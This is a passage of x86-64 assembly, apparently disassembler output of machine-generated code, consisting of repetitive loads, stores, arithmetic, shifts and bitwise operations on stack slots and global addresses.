movzx eax, word [rsp + 0xcb8]
mov rcx, qword [rsp + 0x7bc0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc10], ax
mov rax, qword [rsp + 0x70f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7bf8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14017a620]
mov word [rcx], ax
movzx eax, byte [0x140179022]
mov byte [rsp + 0xd9], al
movzx eax, word [rsp + 0xde8]
mov rcx, qword [rsp + 0x7bc0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xce8], ax
movsx eax, word [rsp + 0xdac]
mov rcx, qword [rsp + 0x7388]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xd38], ax
lea rax, section..data
mov qword [rsp + 0x7e18], rax
mov rax, qword [rsp + 0x7998]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7800]
mov qword [rsp + 0x7e20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7e20]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x7330]
mov dword [rcx], eax
mov rax, qword [rsp + 0x72b0]
mov rax, qword [rax]
mov qword [rsp + 0x7e28], rax
mov rax, qword [rsp + 0x74a0]
mov rcx, qword [0x140179010]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6ae8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x42]
mov rcx, qword [rsp + 0x7598]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x94], al
movsx eax, byte [rsp + 0x7d]
mov rcx, qword [0x14017a5b8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14017900f], al
lea rax, [rsp + 0xcfc]
mov qword [rsp + 0x7e30], rax
mov rax, qword [rsp + 0x7a28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x79]
add eax, ecx
mov rcx, qword [rsp + 0x7060]
mov byte [rcx], al
movzx eax, word [rsp + 0xd28]
mov word [rsp + 0xe1c], ax
mov rax, qword [rsp + 0x72f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c74]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d4c], eax
mov rax, qword [rsp + 0x7300]
mov rcx, qword [rsp + 0x7b50]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6d20], rax
lea rax, [rsp + 0x3c18]
mov qword [rsp + 0x7e38], rax
mov rax, qword [rsp + 0x71d8]
mov rcx, qword [0x140179010]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x77e0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x51]
mov byte [rsp + 0xda], al
mov rax, qword [rsp + 0x7340]
movzx eax, byte [rax]
mov byte [0x14017a55a], al
mov rax, qword [0x14017a6a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd60]
add eax, ecx
mov rcx, qword [rsp + 0x7b18]
mov word [rcx], ax
lea rax, [rsp + 0xcd8]
mov qword [rsp + 0x7e40], rax
mov rax, qword [rsp + 0x7320]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6fd0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6e60]
mov byte [rcx], al
movsx eax, byte [0x14017901b]
movsx ecx, byte [rsp + 0x71]
sub eax, ecx
mov byte [rsp + 0xb7], al
mov rax, qword [rsp + 0x6cc8]
mov qword [rsp + 0x7e48], rax
mov rax, qword [rsp + 0x7d78]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x6dc0]
mov qword [rsp + 0x7e50], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7e50]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3d40], eax
lea rax, section..data
mov qword [rsp + 0x7e58], rax
mov rax, qword [rsp + 0x7958]
mov rcx, qword [rsp + 0x6ea8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x6e08], rax
lea rax, [rsp + 0x9d]
mov qword [0x14017a750], rax
movsx eax, word [rsp + 0xc20]
mov rcx, qword [0x14017a5e0]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x72e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7ab0]
movzx eax, word [rax]
mov word [rsp + 0xe20], ax
movzx eax, byte [rsp + 0xcb]
movzx ecx, byte [rsp + 0x6d]
sar eax, cl
mov byte [rsp + 0x69], al
mov rax, qword [rsp + 0x7cf8]
movzx eax, byte [rax]
mov byte [rsp + 0xdb], al
mov rax, qword [rsp + 0x75c8]
mov ecx, dword [rsp + 0x3be8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3d6c], eax
mov eax, dword [rsp + 0x3c6c]
mov ecx, dword [rsp + 0x3d54]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6af8]
mov dword [rcx], eax
lea rax, [rsp + 0x7238]
mov qword [rsp + 0x7e60], rax
mov rax, qword [rsp + 0x7bd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7400]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7460]
mov qword [rcx], rax
movsx eax, word [rsp + 0xd6c]
mov rcx, qword [rsp + 0x7c98]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14017a4e0], ax
movzx eax, word [0x140179084]
mov word [rsp + 0xe24], ax
movsx eax, byte [rsp + 0xa1]
movsx ecx, byte [rsp + 0x88]
sub eax, ecx
mov byte [rsp + 0x8d], al
lea rax, [rsp + 0x98]
mov qword [rsp + 0x7e68], rax
movzx eax, word [rsp + 0xc4c]
movzx ecx, word [rsp + 0xcd0]
and eax, ecx
mov word [rsp + 0xde0], ax
mov rax, qword [rsp + 0x7958]
mov rcx, qword [rsp + 0x7ab8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6c30], rax
lea rax, [rsp + 0x7900]
mov qword [rsp + 0x7e70], rax
mov rax, qword [rsp + 0x6f60]
mov ecx, dword [rsp + 0x3cb8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3d8c], eax
lea rax, [rsp + 0x3b58]
mov qword [rsp + 0x7e78], rax
movsx eax, word [rsp + 0xcac]
mov rcx, qword [rsp + 0x7608]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140179094], ax
movzx eax, byte [0x14017a4e3]
movzx ecx, byte [rsp + 0x45]
add eax, ecx
mov rcx, qword [rsp + 0x6db0]
mov byte [rcx], al
mov rax, qword [rsp + 0x79e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8b]
shl eax, cl
mov byte [rsp + 0xc8], al
lea rax, [rsp + 0xd74]
mov qword [rsp + 0x7e80], rax
movzx eax, word [rsp + 0xdc0]
mov rcx, qword [rsp + 0x7a60]
movzx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x7ab0]
mov word [rcx], ax
lea rax, [rsp + 0x69b0]
mov qword [rsp + 0x7e88], rax
mov rax, qword [rsp + 0x7df8]
mov rcx, qword [rsp + 0x7498]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3c28], eax
mov rax, qword [rsp + 0x7110]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x72c8]
sar rax, cl
mov rcx, qword [rsp + 0x7b60]
mov qword [rcx], rax
lea rax, [rsp + 0x3d18]
mov qword [rsp + 0x7e90], rax
movsx eax, word [rsp + 0xc2c]
movsx ecx, word [rsp + 0xcac]
xor eax, ecx
mov rcx, qword [0x14017a620]
mov word [rcx], ax
mov rax, qword [0x14017a5e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa3]
and eax, ecx
mov rcx, qword [rsp + 0x6cd0]
mov byte [rcx], al
movzx eax, word [rsp + 0xcb8]
mov word [rsp + 0xe28], ax
movzx eax, byte [rsp + 0x5f]
movzx ecx, byte [0x14017a4fa]
sub eax, ecx
mov byte [rsp + 0x89], al
movzx eax, byte [rsp + 0xd1]
mov rcx, qword [rsp + 0x7340]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x42], al
mov rax, qword [rsp + 0x7610]
mov rax, qword [rax]
mov qword [rsp + 0x7e98], rax
mov rax, qword [rsp + 0x6b00]
mov rcx, qword [rsp + 0x6e40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7d78]
mov dword [rcx], eax
lea rax, [rsp + 0x3c70]
mov qword [rsp + 0x7ea0], rax
mov rax, qword [rsp + 0x7440]
mov rcx, qword [rsp + 0x7250]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6ae8]
mov qword [rcx], rax
movsx eax, word [rsp + 0xc48]
mov rcx, qword [rsp + 0x7c98]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14017907c], ax
lea rax, [rsp + 0xca4]
mov qword [rsp + 0x7ea8], rax
mov rax, qword [rsp + 0x79c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x69d8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7b00]
mov word [rcx], ax
mov rax, qword [rsp + 0x7b58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6f00]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x71f8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x4e]
mov byte [rsp + 0xdc], al
mov rax, qword [rsp + 0x6ca0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7428]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7a98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7180]
mov eax, dword [rax]
mov dword [rsp + 0x3e08], eax
mov rax, qword [rsp + 0x6c98]
mov rcx, qword [rsp + 0x6cf0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6ed0], rax
mov rax, qword [rsp + 0x7998]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3c78]
shl eax, cl
mov dword [rsp + 0x3d24], eax
movsx eax, byte [rsp + 0xcd]
mov rcx, qword [rsp + 0x71f8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [0x140179047], al
lea rax, [rsp + 0xdf8]
mov qword [rsp + 0x7eb0], rax
movsx eax, byte [rsp + 0x5c]
mov rcx, qword [rsp + 0x7060]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x5e], al
movzx eax, word [rsp + 0xdd0]
mov word [rsp + 0xe2c], ax
mov rax, qword [rsp + 0x73e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7298]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6c60]
mov word [rcx], ax
mov rax, qword [rsp + 0x7768]
mov rcx, qword [rsp + 0x7840]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7648], rax
mov eax, dword [0x140179004]
mov dword [rsp + 0x3e0c], eax
mov rax, qword [rsp + 0x6d00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7760]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7a00]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3c88]
mov dword [rsp + 0x3e10], eax
mov rax, qword [0x14017a670]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6f20]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a750]
mov byte [rcx], al
mov rax, qword [rsp + 0x6eb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7ea8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc68], ax
movsx eax, byte [rsp + 0x67]
mov rcx, qword [rsp + 0x7c08]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6ba8]
mov byte [rcx], al
movzx eax, word [rsp + 0xd94]
mov word [rsp + 0xe30], ax
movzx eax, byte [rsp + 0x4e]
mov rcx, qword [rsp + 0x7080]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6c28]
mov byte [rcx], al
mov rax, qword [rsp + 0x79e0]
mov rax, qword [rax]
mov qword [rsp + 0x7eb8], rax
mov rax, qword [rsp + 0x6e38]
mov rcx, qword [rsp + 0x7b38]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x72b0]
mov qword [rcx], rax
lea rax, [rsp + 0x3d2c]
mov qword [rsp + 0x7ec0], rax
mov rax, qword [rsp + 0x6dc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3d54]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x77c0]
mov dword [rcx], eax
movzx eax, word [0x140179060]
movzx ecx, word [rsp + 0xc40]
imul eax, ecx
mov word [rsp + 0xc74], ax
movzx eax, word [rsp + 0xd58]
mov word [0x14017a758], ax
lea rax, [rsp + 0xba]
mov qword [rsp + 0x7ec8], rax
movsx eax, byte [rsp + 0xa8]
mov rcx, qword [rsp + 0x6f00]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x5d], al
lea rax, [rsp + 0x94]
mov qword [rsp + 0x7ed0], rax
mov rax, qword [rsp + 0x75e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6fc8]
mov qword [rsp + 0x7ed8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7ed8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x7cb0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7a48]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7098]
mov qword [rsp + 0x7ee0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7ee0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3d58], eax
mov rax, qword [rsp + 0x7268]
mov rax, qword [rax]
mov qword [rsp + 0x7ee8], rax
mov rax, qword [rsp + 0x6cd8]
mov rcx, qword [rsp + 0x6e40]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3c9c], eax
lea rax, [0x140179060]
mov qword [rsp + 0x7ef0], rax
lea rax, [rsp + 0xb3]
mov qword [0x14017a760], rax
movzx eax, byte [rsp + 0x97]
mov rcx, qword [rsp + 0x6d68]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x7640]
mov byte [rcx], al
mov rax, qword [rsp + 0x7d30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8b]
sub eax, ecx
mov rcx, qword [rsp + 0x7470]
mov byte [rcx], al
movzx eax, word [rsp + 0xc70]
mov word [rsp + 0xe34], ax
mov eax, dword [rsp + 0x3da4]
mov ecx, dword [rsp + 0x3c28]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d24], eax
mov rax, qword [rsp + 0x7310]
mov rax, qword [rax]
mov qword [rsp + 0x7ef8], rax
mov rax, qword [rsp + 0x75c8]
mov rcx, qword [rsp + 0x78f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3de4], eax
lea rax, [rsp + 0x78a8]
mov qword [rsp + 0x7f00], rax
movsx eax, word [rsp + 0xc78]
movsx ecx, word [rsp + 0xd98]
add eax, ecx
mov word [rsp + 0xcc4], ax
movsx eax, word [rsp + 0xd80]
mov rcx, qword [rsp + 0x6e18]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140179044], ax
mov rax, qword [rsp + 0x6fe8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7118]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xcc], al
movzx eax, byte [rsp + 0x8b]
mov byte [rsp + 0xdd], al
mov rax, qword [rsp + 0x6b30]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6dd8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc4c], ax
mov rax, qword [rsp + 0x7a10]
mov rax, qword [rax]
mov qword [rsp + 0x7f08], rax
mov rax, qword [rsp + 0x73a8]
mov rcx, qword [rsp + 0x6cd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7230]
mov dword [rcx], eax
mov rax, qword [rsp + 0x70a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c70]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6e80]
mov dword [rcx], eax
lea rax, [rsp + 0x7120]
mov qword [rsp + 0x7f10], rax
mov rax, qword [rsp + 0x7470]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x99]
and eax, ecx
mov rcx, qword [rsp + 0x7c38]
mov byte [rcx], al
movsx eax, word [rsp + 0xc34]
mov rcx, qword [rsp + 0x6b10]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x140179098], ax
movzx eax, byte [rsp + 0xd9]
mov byte [rsp + 0xde], al
mov rax, qword [0x14017a6a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc1c]
xor eax, ecx
mov rcx, qword [rsp + 0x6f80]
mov word [rcx], ax
mov rax, qword [rsp + 0x7ea8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd68]
sar eax, cl
mov word [rsp + 0xc40], ax
lea rax, [rsp + 0xe34]
mov qword [rsp + 0x7f18], rax
mov rax, qword [rsp + 0x7dc0]
mov rax, qword [rax]
mov rcx, qword [0x140179010]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x71c0], rax
mov eax, dword [rsp + 0x3c6c]
mov dword [rsp + 0x3e14], eax
mov rax, qword [rsp + 0x6c80]
mov rcx, qword [rsp + 0x7ad8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x77d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7768]
mov rcx, qword [rsp + 0x7860]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6e38], rax
movzx eax, word [rsp + 0xd60]
mov rcx, qword [rsp + 0x76e8]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [0x14017a530]
mov word [rcx], ax
movzx eax, byte [rsp + 0xc0]
mov byte [rsp + 0xdf], al
mov rax, qword [rsp + 0x6fa0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x71d0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7928]
mov byte [rcx], al
lea rax, [rsp + 0xd8c]
mov qword [rsp + 0x7f20], rax
mov rax, qword [rsp + 0x7070]
movsx eax, word [rax]
mov rcx, qword [0x14017a5a8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6c78]
mov word [rcx], ax
mov rax, qword [rsp + 0x6a20]
mov rax, qword [rax]
mov qword [rsp + 0x7f28], rax
mov rax, qword [rsp + 0x6c18]
mov rcx, qword [rsp + 0x7990]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7008], rax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x3c60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c34], eax
lea rax, [rsp + 0x3d5c]
mov qword [rsp + 0x7f30], rax
lea rax, [rsp + 0xbb]
mov qword [0x14017a768], rax
mov rax, qword [rsp + 0x6e50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd00]
add eax, ecx
mov rcx, qword [rsp + 0x6a18]
mov word [rcx], ax
lea rax, [0x140179008]
mov qword [rsp + 0x7f38], rax
movzx eax, word [rsp + 0xe28]
movzx ecx, word [rsp + 0xd88]
sub eax, ecx
mov rcx, qword [rsp + 0x7b18]
mov word [rcx], ax
movsx eax, byte [rsp + 0x5a]
movsx ecx, byte [rsp + 0xdd]
sub eax, ecx
mov rcx, qword [rsp + 0x77f8]
mov byte [rcx], al
lea rax, [rsp + 0x3b58]
mov qword [rsp + 0x7f40], rax
mov rax, qword [rsp + 0x7768]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x77d0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6cb0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3c70]
mov dword [rsp + 0x3e18], eax
mov rax, qword [rsp + 0x7f10]
mov rcx, qword [rsp + 0x7ca0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6a48], rax
movsx eax, byte [rsp + 0x6a]
movsx ecx, byte [rsp + 0xa8]
or eax, ecx
mov byte [0x14017902f], al
movzx eax, word [rsp + 0xd48]
movzx ecx, word [0x140179018]
cdq
idiv ecx
mov word [rsp + 0xdec], ax
movzx eax, word [rsp + 0xd58]
mov word [rsp + 0xe38], ax
movsx eax, byte [rsp + 0xc8]
mov rcx, qword [rsp + 0x70c0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6cd0]
mov byte [rcx], al
movzx eax, byte [rsp + 0xa0]
mov byte [rsp + 0xe0], al
mov rax, qword [rsp + 0x7ca8]
movzx ecx, al
mov rax, qword [rsp + 0x6e08]
shl rax, cl
mov rcx, qword [rsp + 0x7268]
mov qword [rcx], rax
lea rax, [rsp + 0x3c6c]
mov qword [rsp + 0x7f48], rax
mov rax, qword [rsp + 0x7c48]
mov rcx, qword [rsp + 0x7ca0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x7630], rax
mov eax, dword [rsp + 0x3d00]
mov ecx, dword [section..data]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6d88]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xa7]
mov rcx, qword [rsp + 0x7598]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14017904a], al
lea rax, [rsp + 0x59]
mov qword [rsp + 0x7f50], rax
mov rax, qword [rsp + 0x6e10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7b18]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc40], ax
movzx eax, word [rsp + 0xd34]
mov word [rsp + 0xe3c], ax
mov rax, qword [rsp + 0x6de0]
movzx eax, byte [rax]
movzx ecx, byte [0x14017901e]
and eax, ecx
mov rcx, qword [rsp + 0x6d68]
mov byte [rcx], al
mov rax, qword [rsp + 0x7768]
mov rcx, qword [rsp + 0x7e28]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7418], rax
mov eax, dword [rsp + 0x3c58]
mov dword [rsp + 0x3e1c], eax
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3b64]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x77d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x77e0]
mov rax, qword [rax]
mov qword [rsp + 0x7f58], rax
mov rax, qword [rsp + 0x7a28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x43]
add eax, ecx
mov byte [0x14017901b], al
mov rax, qword [rsp + 0x7000]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc94]
add eax, ecx
mov rcx, qword [rsp + 0x6b68]
mov word [rcx], ax
movsx eax, word [rsp + 0xe00]
movsx ecx, word [rsp + 0xdc8]
add eax, ecx
mov word [rsp + 0xc44], ax
movzx eax, byte [rsp + 0xcc]
mov byte [rsp + 0xe1], al
mov rax, qword [0x14017a6c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x96]
xor eax, ecx
mov rcx, qword [rsp + 0x72f8]
mov byte [rcx], al
mov eax, dword [rsp + 0x3c48]
mov dword [rsp + 0x3e20], eax
mov rax, qword [rsp + 0x7c70]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x70a8]
mov qword [rsp + 0x7f60], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7f60]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x7b20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6c98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7310]
mov qword [rsp + 0x7f68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7f68]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x6ea0]
mov qword [rcx], rax
lea rax, [rsp + 0x7ca8]
mov qword [rsp + 0x7f70], rax
movzx eax, word [rsp + 0xd1c]
movzx ecx, word [rsp + 0xdfc]
cdq
idiv ecx
mov word [0x14017a598], ax
mov rax, qword [0x14017a5f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6fa8]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x7170]
mov byte [rcx], al
movzx eax, word [rsp + 0xdc4]
mov word [rsp + 0xe40], ax
mov rax, qword [rsp + 0x7a90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd60]
and eax, ecx
mov word [rsp + 0xc58], ax
mov rax, qword [rsp + 0x6d50]
movzx eax, byte [rax]
mov byte [rsp + 0xe2], al
mov rax, qword [rsp + 0x6d58]
mov rcx, qword [rsp + 0x6c00]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7698], rax
mov rax, qword [rsp + 0x7d50]
mov ecx, dword [rsp + 0x3b2c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3cf0], eax
lea rax, [rsp + 0x7008]
mov qword [rsp + 0x7f78], rax
mov rax, qword [rsp + 0x7e18]
mov ecx, dword [rsp + 0x3d44]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x77d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7728]
movzx eax, word [rax]
mov rcx, qword [0x14017a738]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14017909c], ax
mov rax, qword [rsp + 0x6c78]
movzx eax, word [rax]
mov word [rsp + 0xe44], ax
mov rax, qword [rsp + 0x7928]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xd9]
and eax, ecx
mov byte [rsp + 0x66], al
movsx eax, byte [rsp + 0x7c]
mov rcx, qword [rsp + 0x6ca8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7da0]
mov byte [rcx], al
lea rax, [rsp + 0xc0c]
mov qword [rsp + 0x7f80], rax
mov rax, qword [rsp + 0x7040]
mov rcx, qword [rsp + 0x7e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3cf0], eax
mov rax, qword [rsp + 0x7038]
mov qword [rsp + 0x7f88], rax
mov rax, qword [rsp + 0x7a00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7c90]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6fd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7e58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3d30]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7710]
mov dword [rcx], eax
lea rax, [rsp + 0x7f]
mov qword [rsp + 0x7f90], rax
movsx eax, word [0x140179058]
mov rcx, qword [rsp + 0x7388]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x140179034], ax
mov rax, qword [rsp + 0x78e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdc]
shl eax, cl
mov rcx, qword [rsp + 0x7190]
mov byte [rcx], al
mov rax, qword [rsp + 0x7570]
movzx eax, word [rax]
mov word [rsp + 0xe48], ax
movzx eax, word [rsp + 0xd64]
movzx ecx, word [rsp + 0xe20]
xor eax, ecx
mov rcx, qword [rsp + 0x7ea8]
mov word [rcx], ax
mov rax, qword [rsp + 0x75f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7588]
mov qword [rsp + 0x7f98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7f98]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x7840], rax
mov eax, dword [rsp + 0x3bb4]
mov dword [rsp + 0x3e24], eax
mov rax, qword [rsp + 0x6da0]
mov ecx, dword [rsp + 0x3c58]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3e00], eax
mov rax, qword [rsp + 0x7888]
mov qword [rsp + 0x7fa0], rax
movsx eax, byte [rsp + 0xa9]
movsx ecx, byte [rsp + 0xa6]
add eax, ecx
mov rcx, qword [rsp + 0x6fa8]
mov byte [rcx], al
movzx eax, word [rsp + 0xd44]
mov word [0x14017a770], ax
movzx eax, byte [rsp + 0xa7]
mov byte [rsp + 0xe3], al
movzx eax, word [rsp + 0xc1c]
mov rcx, qword [rsp + 0x70e8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x73a0]
mov word [rcx], ax
movsx eax, word [rsp + 0xd78]
mov rcx, qword [rsp + 0x7438]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7628]
mov word [rcx], ax
mov rax, qword [rsp + 0x6b00]
mov eax, dword [rax]
mov dword [rsp + 0x3e28], eax
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c34]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d4c], eax
mov rax, qword [rsp + 0x7730]
mov qword [rsp + 0x7fa8], rax
mov rax, qword [rsp + 0x7ae0]
mov rcx, qword [rsp + 0x72b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7e98], rax
movsx eax, word [rsp + 0xcb4]
movsx ecx, word [0x140179044]
and eax, ecx
mov word [rsp + 0xc90], ax
movsx eax, byte [rsp + 0xd2]
movsx ecx, byte [rsp + 0x5e]
add eax, ecx
mov byte [0x14017a4fb], al
movzx eax, byte [rsp + 0x78]
mov byte [rsp + 0xe4], al
movsx eax, byte [rsp + 0x88]
mov rcx, qword [rsp + 0x7a50]
